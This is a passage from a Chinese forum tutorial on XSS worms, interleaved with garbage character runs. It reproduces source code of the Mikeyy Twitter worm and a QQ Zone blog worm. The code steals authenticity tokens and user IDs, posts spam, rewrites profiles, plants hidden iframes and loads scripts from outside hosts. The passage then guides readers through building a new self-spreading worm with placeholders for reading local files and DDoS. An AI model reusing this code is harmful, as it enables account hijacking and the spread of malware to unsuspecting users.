"></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false; & m) @) p" t/ U) x* b) S( e
3 v h, U, i8 Q
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 8 {8 k, k3 M, ?; I8 |2 W2 Y
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 9 V' A! m, A0 }" r M
# i, a1 L5 M& r( x
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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1 d* }3 G* L- c! q1 | 8. catch(e) { _0x6687x2=false; }; }; }; # e# [# N1 W4 B% a* y& b
复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie; 7 Z( ^ u m6 X+ {# y. Y$ E
. l! l+ b/ }( ~ 4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content);
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8 |4 O4 g/ B4 C3 c 7. var authtoken=authtoken[1];
& f$ n0 _* z- Q: ?( v( Z* P5 \2 v/ L& Q. }
8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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- R" t0 Y( p, @* H' j8 f" e 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 6 Z% f5 A) K% Z6 U: D
: T A: V' z- Q8 V3 [5 w 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; ) k- y' I1 P1 I' W9 I
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; F U# q1 f% F, |6 ]
+ N" F8 V0 l9 J6 w2 @2 M 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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4 T8 i2 a4 p6 l 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 4 K y/ Q5 ^2 R7 I$ m
; X! A( h0 {- }3 x 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; ! O) _9 W% @( ~. \" y& r2 O
# T G* o4 ? K- _ ` 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; + c% i3 H/ y$ i' X2 Z
9 B3 D' k- k" ]5 ]8 N3 R/ Q& y 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 6 n2 X6 d+ ~. g/ a# b
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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. \3 f* H Z6 p 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; 5 S2 B# b6 E2 n7 T1 j0 z9 @
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26. var updateEncode=urlencode(randomUpdate[genRand]);
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27. 3 Z/ w0 M7 U9 y& X7 H' D+ S: P& H
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28. var ajaxConn= new XHConn(); , V* b8 ?$ ]& l" W6 F8 A4 _1 j
9 L7 L! D/ ?7 C9 O* Z) F/ v 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 8 ]3 B$ l- V% u5 y4 B0 M3 T
# c F: `4 M' @& N2 W 30. var _0xf81bx1c="Mikeyy"; 5 m7 y! O# s* c$ f
& J9 q6 g9 C- { 31. var updateEncode=urlencode(_0xf81bx1c);
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. S+ D8 M; ~& ^, R1 e5 U7 K 32. var ajaxConn1= new XHConn(); . h+ t) S6 O+ B: g
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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% z6 H9 W: d( G 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; : f1 f$ `1 }" I! ?/ i
$ l" A( L4 r& { 35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn(); ' ~0 C1 {- f; o
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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/ b* _4 {* c6 c1 [; S/ |( T 38.
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39. } ; 5 k) h: X; N9 V f' V
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40. setTimeout(wait(),5250); / S& \$ e* X# h% @2 e
复制代码QQ空间XSSfunction killErrors() {return true;}9 ~/ ]) N5 z) U7 {9 R) _* }
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window.onerror=killErrors;1 U$ Q& F# l: A. o4 z$ N3 P. y
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3 l. A: f, _1 c7 m' e/ B# Cvar shendu;shendu=4;) x3 {; ?$ _7 b$ ~5 z: {' Q
2 F. u$ C9 T! v; X7 U$ W//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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& Z; S1 k% r* Xvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";+ E' M) [3 J9 }. @" H2 S
# N+ M( e' V. l2 u' I$ j1 `6 jvar myblogurl=new Array();var myblogid=new Array(); `( ?4 F, d" R) |
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var gurl=document.location.href;
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7 D8 F* d& E8 d- j$ `3 X' w3 } var gurle=gurl.indexOf("com/"); F$ K( i, ?) B6 e# _0 h5 |
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gurl=gurl.substring(0,gurle+3); , P K, [8 K5 i: p( K% c/ [
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var visitorID=top.document.documentElement.outerHTML;1 A6 K s) U7 Z' j9 z2 w" z3 k
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");
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* ]- v0 y5 N* L visitorID=visitorID.substring(0,cookieS);2 F0 [) V; G# c+ }" B
8 |2 E3 [( o) J) V# J' y6 ] get_my_blog(visitorID);* w0 c9 R3 g2 b& n
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DOshuamy();7 A1 q1 R& o; J7 ?, A* E
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$ z% ?7 |# I' y$ |: \* R, {7 d3 T/ S0 R& p m
//挂马
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function DOshuamy(){
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var ssr=document.getElementById("veryTitle");
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( ?# N# b: A' T5 L. |ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");2 `2 z2 R% E- v8 `/ i
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}
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; g) z1 b% g. |+ l' i. |//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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9 n; M3 z- ]) T$ ^/ K0 hfunction get_my_blog(visitorID){
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' i0 g) \/ H4 Y/ q0 A userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的) P" y4 i! ?- D6 s: q
$ r: T3 I0 V" U xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;
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* W* @& q& Y+ y4 _ get_my_blogurl(guest); //执行这个函数" ` b5 @' z; M2 l7 A7 n
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}
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//这里似乎是判断没有登录的+ u5 W6 V2 S: s7 ?( @3 Q5 D
6 `; k1 L6 m1 _function get_my_blogurl(guest){! S. C; h. j% n' v2 ?+ T' c
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var mybloglist=guest;
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( i& ~; T2 L4 n7 r! h var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){
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- q# R* b/ j: H% E# Z myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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0 [" [% C% O/ }" ^% N2 W if(myurls!=-1){ //找到了就执行下面的1 P3 p0 c( B3 j" l) _+ a4 T
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mybloglist=mybloglist.substring(myurls+11);
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) ~7 h3 p/ c0 o. h: Z myurls=mybloglist.indexOf(')');
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myblogid=mybloglist.substring(0,myurls);
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0 ?8 U( L0 A& r* O }else{break;}" W- S# d3 c5 }) u7 ^9 _ \' \
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/ O4 s! h3 y* g! Y6 |, a5 t+ U u6 t8 ?2 |9 o. X) o+ N) {
get_my_testself(); //执行这个函数) z! g+ U7 E& @
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//这里往哪跳就不知道了: h6 {+ ?: }' h8 p2 Z! S8 r
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function get_my_testself(){
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- l1 D5 Z, _* D: D9 H for(i=0;i<myblogid.length;i++){ //获得blogid的值/ t% {2 s# L2 Y# u `5 o
4 a' I4 N) q6 R7 A( r5 d {& ]1 | var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
. I7 ^. V Y* x4 g5 Y* s% O: a# s4 l+ s) |0 ^- u
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象' L7 H. X* ?9 T* c5 R
4 H! O9 ]/ F* \9 @2 e; X
if(xhr2){ //如果成功9 j+ X1 a/ ~5 L! R7 e; a, j9 V
+ x4 V4 H1 A" k, R4 H' v xhr2.open("GET",url,false); //打开上面的那个url
% f( K; s5 \4 O
: g+ }0 I8 a& M% U. A xhr2.send();& Y$ N( \4 Y9 C! U+ w
! y( B- G; ]; z& C" T8 j: {$ K t3 \
guest2=xhr2.responseText;: z7 ^- l3 s, U* k& g# F) @0 o4 P
$ z- ^1 U3 @6 |* q% G
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
}5 S4 Z7 e& e% G% e2 |2 I, M& B& ?5 R* Q; F
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串- `2 x8 C* v, d2 J# T
: b y8 E- C6 R- a* A1 Q if(mycheckmydoit!="-1"){ //返回-1则代表没找到
" v/ d) m# L! ~7 C8 P" i, H# a$ Y. O1 H# \' g: x8 R
targetblogurlid=myblogid; 1 C+ [. u. Y6 U8 Q9 U
8 A) l$ Z2 _ J! m7 L
add_jsdel(visitorID,targetblogurlid,gurl); //执行它' }( G0 b0 {0 g
) t5 G2 @! {0 T2 b2 {! ^; ]- M8 o
break;8 X1 }( Z8 Y+ U7 h# R9 |3 w
0 ^- C8 C( q( J) L }. F" A/ w! S8 r! v# c$ }+ y' r
5 W6 `8 L0 m! B
if(mycheckit=="-1"){- I" P5 G2 r4 ~8 B4 M4 H
; ~. H! m0 l' h ]: ^* X targetblogurlid=myblogid;, Q; A" C1 [7 L( C
+ a+ n' |8 \3 p# m. n add_js(visitorID,targetblogurlid,gurl); //执行它
! ^: V: j+ \$ ` m( d9 U/ s9 o! I
3 u4 k- a# `) ]& D! t break;! w2 R9 N" h/ x7 Q* \0 e. j
1 r8 G# M# V& Y/ \ }) B$ w- H# A) z2 y
" Q6 w; Y) v0 p6 \6 [& R: @/ B* _, y
}
+ e$ Q ?* k6 R) M$ W+ p: a$ n- {8 u; t9 |/ T6 r
}
# r0 {1 p9 o1 i: i0 S6 O+ @8 W8 Y3 W/ z
}3 R$ n' o1 D; y9 Q& H' g
R1 { \+ D* g/ t! g: u; m8 p& Y7 k' O5 D, B
; O4 a5 D, n; r& z! x9 i5 v6 ?+ M! @& o//--------------------------------------
$ }. W+ n) ]$ n7 [) |% A$ Z+ }3 a7 f9 Q
//根据浏览器创建一个XMLHttpRequest对象
; A5 b g6 e! C) Y4 A& r) E( m* v! I$ r! K& k( G. G. V7 _
function createXMLHttpRequest(){
' B" E: c+ W4 }( k$ x+ v# X. v) H) G
var XMLhttpObject=null; ' i' l0 q1 q: w: I& K7 j/ Z
/ h9 r) m# J1 x9 L7 \: N1 E/ Q
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
( M5 y& R* `$ V" s) b
% u2 l9 x1 v. i* u' S else ! A6 z+ M# D( B/ i
. |1 q# g" R# [ { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
: i3 I- k. d" B5 c# }
$ c1 m$ w9 ?( b8 y+ K for(var i=0;i<MSXML.length;i++)
* g9 e3 M7 M* S" U9 g/ [
; A, e. ?' V- Z& U3 t { # Y2 R# }0 G" T1 e- a
* Y1 l6 _- W9 `. i# R% f* ] N try
8 f; |9 C/ Z n
6 v w9 u/ j( H1 w* M x/ u6 Y {
( a, G3 T8 r: C, S# ]% I
3 M9 N9 \% | h: {4 @/ b, g, G XMLhttpObject=new ActiveXObject(MSXML); 6 a) U. {; q0 n1 Q1 r, ^2 N) f7 S
; ~8 u/ |& R0 ], J break; * j( _" W$ E! i& u6 C! k
% Z6 G5 R0 U- @. p3 f
} 1 ?/ G! e2 U, }' X; @0 J7 z
$ c$ W3 g! V4 I
catch (ex) {
( L. T4 ~7 u9 `' Z8 e' `' S$ L: @' k& z1 M" _! X }- w$ Q
}
! X6 z3 |9 R: r2 L: \" r( I7 m1 p
( k ] E9 l7 @3 e4 Y% p p }
$ g! x: e& {; y9 f6 y) [/ \# ^6 \/ B
}
F" m& Z4 s# c% U( @
+ s- s0 s* L$ k# i Yreturn XMLhttpObject;" {$ s7 J Y$ [0 ]/ Q
2 o/ S0 T7 k1 O0 F. y}
& i: `' w# ?; O: f* `0 a, u- d1 a) W: b
5 y/ ~0 L4 Y4 F- L0 P. X
) @, y8 M1 h6 {$ Q//这里就是感染部分了' Y1 K, a) Q" R) ]
0 z% p$ v8 r, i$ q8 L$ l4 I
function add_js(visitorID,targetblogurlid,gurl){
$ T1 O8 z! r: c! l. r0 q! m2 I; u# ?
var s2=document.createElement('script');$ G% f# m: R) t
0 n0 a# ~1 c+ \3 x! f
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
5 Q4 _" }- o/ |6 s/ }: n: W5 B, |+ C9 p& F& @% r7 [
s2.type='text/javascript';( e; e% F% Q& A7 |8 u* b, q/ z& ]
% q0 K/ j1 S1 a- x' b! P
document.getElementsByTagName('head').item(0).appendChild(s2);( R3 p3 `# v& t$ v! T" ? _
( ?9 I3 N7 |- V/ ~6 I& a}
. T4 h1 }2 o- M6 X) L+ a% R
* j9 D+ Q, B# _ x5 W p q$ g M# z/ }3 y. c
2 O- _/ d- @! V3 u( ]function add_jsdel(visitorID,targetblogurlid,gurl){
! T, ]" ?1 Q K' `3 b; E
; [, h u2 R% p/ s Dvar s2=document.createElement('script');
2 K6 w, {& Q( o5 @& @; c. P# H4 T7 P1 | h! a% A( \
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
: O* w) k0 m: U. u; z, v" P0 {, o' T3 A4 ?% V! l2 p) O) e
s2.type='text/javascript';; `5 `# d0 ~1 B
- X; f8 i9 o% C# U6 q% cdocument.getElementsByTagName('head').item(0).appendChild(s2);0 ~8 y$ L* `. b3 o% p
1 `2 P9 B& z, L H; N}2 o; M! y+ }3 f; p6 m$ Q
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:& Z7 H, u) o' c5 H. S
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
0 `' `! C5 Y7 [7 Q& x6 c
. G1 k* T8 W! k" B2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
" B3 N3 M* }9 _
+ v6 x" \$ y" q8 Q0 h+ d综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
' ?( L8 a. s! b% L5 \; x Z
. p0 b& i7 e$ `
! J* P+ \" H+ l下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.3 u/ _. B& U1 x
0 X9 G" w3 y, a9 R7 \! j% c- q% V首先,自然是判断不同浏览器,创建不同的对象var request = false;8 R0 Z" M: C3 U, z
' X. `/ s% ?) b) b( l5 Y
if(window.XMLHttpRequest) {# Q* \! ~1 y, _
' Q; V0 C6 o" K8 q( X9 ]7 n
request = new XMLHttpRequest();) j |" D" m% M: ~6 {/ N, y, [
# m, b' [) C$ _1 r8 L' ~2 ^
if(request.overrideMimeType) {
/ s7 Y Q8 M, e9 q6 t
9 y6 m F. Y( |3 b, G" Z8 qrequest.overrideMimeType('text/xml');
4 j+ ^. v* h, Z9 J( ]
& s0 Q! h9 H. a9 s. C0 d' }}0 l6 L& j. y3 D7 M. m0 B9 C- ~
; p' N, ]8 Q5 A. K& L+ V} else if(window.ActiveXObject) {: {1 {, G* E1 o- Q7 M) B1 j
5 |7 T) p \5 rvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 Q0 o. f& y( `/ X- P/ ~( y$ c7 u" D2 b) W) W
for(var i=0; i<versions.length; i++) {
& |. U9 P2 n2 O% v$ f3 `* z3 I: ^. c3 G a# x
try {7 U2 ^7 j/ v5 Q4 m
$ m+ X7 s( |3 A6 hrequest = new ActiveXObject(versions);
1 U! Y& n2 n! G. @! d
) Z- Y+ J& A9 U; H6 D3 Z1 s+ w} catch(e) {}; F7 p8 u: p9 @! x N5 c
: B2 e' v* H: a! F# D/ ^
}7 k: {- ~: i5 N' {1 z; p1 m
6 d e! K3 I$ M1 h
}5 X' H0 `$ n# i/ ]/ i" W6 S
8 ?) ?0 a, o! H+ b y
xmlHttpReq=request;4 @& {3 B2 y& A
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
! V, C) X/ ^7 [5 b, x/ ~" o0 `3 t. R2 S# m6 w! {$ D9 l
var Browser_Name=navigator.appName;
7 ~! f0 G$ g# b8 l P- j( m# D
$ k; C8 {) }% J& J( i! }0 p var Browser_Version=parseFloat(navigator.appVersion);1 k1 V: N4 V ~9 B) m7 n
$ o" W! s0 @5 h6 g2 a) e6 p var Browser_Agent=navigator.userAgent;
! R e7 i, u8 _: [+ @) v
/ E( ]% H. r) x : y( S, c6 ~; K5 A: A
1 T+ B' d& k9 n. t a8 R; }
var Actual_Version,Actual_Name;
4 A1 w9 i6 Q; x% X6 b V0 X
( `6 s0 d: }" y* i# n2 L & P& r( Y1 J+ \& X8 L
9 x; Z% y8 L' Q, u var is_IE=(Browser_Name=="Microsoft Internet Explorer");+ K2 R) [9 m, h2 Q( _
1 s; K, Y' x- V4 V. g var is_NN=(Browser_Name=="Netscape");6 b! Y% s4 |, G* E9 ^. m
* \. }) ]. O8 E" T
var is_Ch=(Browser_Name=="Chrome");
5 R2 L( I" G& Z9 i1 ^. {0 o+ N6 @& z/ P; W. J
$ F$ ~4 D5 v: L: ]5 b& }9 y3 N
k9 ?+ ?, J7 \: Y7 f- ` if(is_NN){
' q! y( n. O& x2 A. O9 c/ S w
' |' K3 k% a9 |7 h if(Browser_Version>=5.0){5 ~0 p; _$ Q4 y+ q1 J6 T
- k: h% g# H# f
var Split_Sign=Browser_Agent.lastIndexOf("/");
! p1 n8 a. e' |. M+ G& u# Z% p7 U; w8 n0 l# q
var Version=Browser_Agent.indexOf(" ",Split_Sign);4 A: Q* J+ e9 R
: A3 d" Y( o. C' r' a) T U var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
4 T; u8 I: G% V9 \$ s8 N4 i2 {* `+ \" F
4 L: U: C% l' B2 V: l0 n" A1 M/ R% t' y' T# p6 V/ j$ F
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
. K+ X( Q7 b4 t# g( e; @, \ a v+ ^5 J9 ~/ l
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);6 g+ ?) {/ M* g0 f, J, L
+ i5 R5 o+ @& T* X6 d. F) @" L6 R0 t; Y }' @. H4 W( H$ @4 m/ F6 P0 i! w" P8 n
) K6 o1 E% b- Q) t* e+ W! |
else{
+ T) U! x$ j1 J3 J; M. C" }$ d& i- I6 T$ |/ G/ K2 h! U
Actual_Version=Browser_Version;2 A$ K w$ f @; J0 ?
7 @7 A' g. \' h I, |' W1 {6 f Actual_Name=Browser_Name;
: L# Y) l1 M" ]. a" r+ ?2 u' v9 G6 A, P+ l$ _, @( E6 b+ X
}
$ P1 L/ s) l% V% B
4 ^+ r' C+ t+ t& l- S/ s }
# p1 ?" S9 j& J
' ?* n# r/ A" c) K; s else if(is_IE){- z. k. a9 E l) D, x& p6 s3 R' h
/ p- \" I" f+ M( H& o
var Version_Start=Browser_Agent.indexOf("MSIE");% K! J, x& m1 j3 o
( A* S/ I3 K' E; s* r# \, W
var Version_End=Browser_Agent.indexOf(";",Version_Start);
7 q/ e: O; E- V" m! H! `2 C9 y( m9 |
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)5 A5 B9 D) C5 P* D8 h" F) i7 u
! B% J# p. x; k# f
Actual_Name=Browser_Name;, i1 ^# N/ H4 ~; S; t) _$ C: R
9 ^4 \8 V% @5 s- B3 F+ t7 \$ P( I5 l$ i 8 ? H9 O/ Y ^8 o
2 Y' a& w% M" K' H if(Browser_Agent.indexOf("Maxthon")!=-1){/ D6 C, T8 x" ]4 s% B
+ p& p# Y4 [: V- [& [2 a Actual_Name+="(Maxthon)";
& {( \' B. @# Q. |
$ d* W6 T. Q& g/ _ }; d* w, ~5 G+ F. i0 _ c
Q! N7 S6 N% g/ s# v1 e6 p# }
else if(Browser_Agent.indexOf("Opera")!=-1){8 ~4 g! c$ U) Y& c
9 T* {; e+ f# d& ^/ A
Actual_Name="Opera";6 U& ]- \5 _# V/ J. ^
( T2 F) R& {+ o E0 R9 ? var tempstart=Browser_Agent.indexOf("Opera");
. ^& q4 w5 L+ E5 \1 k- P6 m: V9 ?8 w
var tempend=Browser_Agent.length;
1 u2 J5 N; \- Q; t4 x: p. q/ V: I
, d- E9 U1 S$ L7 o Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
- u6 v* }6 }1 {1 n6 U6 v# V( G5 Q
8 X% m- b& [4 j+ b+ D( T- Y3 E }# D | @, q ~6 f2 b
; F! ]& d2 j# f/ c7 u }
' q% w" h+ |3 M" p3 f* R" O+ h1 W t5 A0 N( i" W4 L
else if(is_Ch){6 h2 k0 k1 B$ ~+ I
$ J1 C1 b% K( k var Version_Start=Browser_Agent.indexOf("Chrome");
+ |2 A9 a% p) U- s2 K. I( Q/ Z f6 |* C& G D4 @$ E, ~
var Version_End=Browser_Agent.indexOf(";",Version_Start);, h# A) L3 B. G$ w" i1 j6 }
0 X8 h" N8 h, J
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
9 x$ [# v1 f4 Z) J7 ]* ?% i
7 A$ x3 d0 C: w. f0 ~, I# W" q Actual_Name=Browser_Name; l% a7 O0 G6 E# ~+ i" b9 g
- P) b. D/ V- `# X 9 C- [* W8 g4 Q3 Y! m8 f
% Z9 m9 f2 c' f' j if(Browser_Agent.indexOf("Maxthon")!=-1){
" g ~3 Z5 x/ M& q, O4 @4 M' P9 ~, U- y5 { t! P5 M5 G1 u2 `" ]
Actual_Name+="(Maxthon)";
, D8 m5 X" j6 p! J# w9 f5 q5 S) P- c, F
) z; U" X5 S; F4 Z9 h }; j: Y5 `8 j$ _: k
; R5 G( } m1 \. g' X P6 w
else if(Browser_Agent.indexOf("Opera")!=-1){7 O6 \: @: g( n; o; M5 q, M3 ]
3 @6 F! I2 C( z! V: d, A7 `+ F
Actual_Name="Opera";0 ~/ |( [# d6 m U+ M' L
+ Y4 G& h; u8 E! a1 W5 q
var tempstart=Browser_Agent.indexOf("Opera");# F6 ~! @" Q- d# P6 G) ?, \/ w
* k/ Q$ f6 J: Q1 @! N. P
var tempend=Browser_Agent.length;$ ]& K- q! a% @
0 G/ I$ e* ^- R3 p
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
4 x9 _5 k' b, |, P3 C
/ E$ V- o: ` ]5 L. H8 S' J }4 z, A. F/ e- U1 o5 Y. \' K
& b/ ?% k" z, ~! a' [0 F6 n
}
$ J% P8 W/ T0 y- N! Y2 ]0 q' X" h; p
else{! l! d5 b* Z+ T
; ]5 P4 B* N8 r( S ^/ l+ H" G Actual_Name="Unknown Navigator"3 |4 _9 ]% e2 V: P1 I
* e2 X4 g1 u3 P9 |* g Actual_Version="Unknown Version"! n: }) `& j& o9 ?! X) F, Z) ?
4 q% H( O) l8 d1 B/ K7 q M* u' G
}% {- ]. k' c* a
% `* I9 | K. Q q/ M3 @# K
/ k) p' \8 m5 _+ e% }4 ^
8 ?# y" P6 _" E7 z7 S2 `+ n
navigator.Actual_Name=Actual_Name;
v. f4 u1 n% u# W0 r0 ]/ e- C7 n4 }1 G3 o! v' r
navigator.Actual_Version=Actual_Version;
% q8 j; u; I2 i4 G! U, U' A% d P- E
+ g' T9 a$ W1 C) f, J9 @- Y, \+ ^! {) Z; A6 E8 ]
this.Name=Actual_Name;5 P- P8 ^8 ?. g; Q8 @
8 r: V$ z; O9 F1 {
this.Version=Actual_Version;# j% k6 Y0 J, y8 ]2 l
0 D; T* _% h% M5 a
}
* R5 h6 t0 A, {& n
3 ] g% c% p& S1 _1 j# Q; \, C browserinfo();
6 s) t1 @: A7 ^: Z( A3 L4 u+ R; x; Z4 S$ m0 Y& i
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}7 g4 b6 A2 h+ U" t
0 b6 d2 y8 f2 a" U# _
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
; J1 z' r+ |# I) P/ u
, g- e h. {( [ if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}+ c/ G- E; S! Q& n3 q) D* W1 r
E1 T7 O A4 M5 _. V" D% q if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}. F9 n, Y( B7 C) F
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码5 p4 d' Z* u) h) |6 Z, D
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ Z4 U& X2 X) g, _, R) [& U复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
- B; N+ u* f, b" `" U! O, G* s W
xmlHttpReq.send(null);
' y$ C& G1 Y8 N; i/ @# o; B/ m0 E2 x* o0 w$ j% h
var resource = xmlHttpReq.responseText;
" \5 B* ]0 v; h' R8 ~! z
. B$ G) t( g0 A, H) |var id=0;var result;- X& J4 |) p0 ^
9 o# }; [1 y. r
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.) H8 D8 F; H( b9 `
9 F* h( _# r2 s f$ Q" Fwhile ((result = patt.exec(resource)) != null) {
/ t2 j9 F8 C; Q1 A, E6 W4 H' _1 ~3 S5 }& L6 B; D
id++;) ?5 [/ T M, f/ n7 ?
1 S0 q% g; H# H1 K/ \* s. e
}: u, n' S" k3 W
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
]8 H; G. R! i& Y
; ~; S d/ P# M7 qno=resource.search(/my name is/);( z8 K4 N& e1 I. w6 ^5 _
* y" z+ i$ T: _var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
$ L) o8 l2 r, d0 @! i+ O
# s' ~' Z) t2 D4 e. Yvar post="wd="+wd;
